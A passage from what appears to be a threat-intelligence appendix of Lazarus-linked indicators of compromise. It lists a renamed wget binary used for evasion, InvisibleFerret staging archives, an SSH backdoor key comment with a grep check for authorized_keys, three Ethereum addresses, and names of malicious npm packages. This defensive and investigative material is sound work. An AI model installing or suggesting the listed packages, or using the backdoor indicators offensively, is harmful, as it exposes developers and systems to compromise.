/usr/bin/wd1                     wget renamed for evasion

# InvisibleFerret staging archives

*.n1  *.n2  *.n3                 Encrypted staging archives



E. SSH — Cryptominer Backdoor Key Identifier

F. Blockchain Addresses (OFAC Submission Candidates)

G. Malicious npm Packages (2025 Supply Chain Wave)

Packages published by stardev0914  GitHub account, October–November 2025. All removed from

registry; listed for historical reference and audit of prior installs:
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# Search authorized_keys for this comment field

# Key comment: uc1

# Public key prefix: AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJN...

grep ' uc1$' /root/.ssh/authorized_keys

# Three publicly disclosed Lazarus destination clusters

0x4DE23f3f0Fb3318287378AdbdE030cf61714b2f3    ETH    $6.86M confirmed

0x1633866bc378663Db61A8e65bF1434020e21f1f3    ETH    $6.38M confirmed

0x674C73C68Cc2FC31ee2bda9A60B4E6C020CDD19F    ETH    $1.60M confirmed

tailwind-magic        node-tailwind          react-modal-select

isbutfervalidator     yoojae-validator       event-handle-package

array-empty-validator react-event-dependency auth-validator

blockchain-utils-helper web3-connect-helper  defi-token-utils

solidity-dev-tools    ethers-extended        metamask-connector

wallet-connect-helper react-native-crypto    solana-web3-helper

[plus ~179 additional packages in the full stardev0914 wave]
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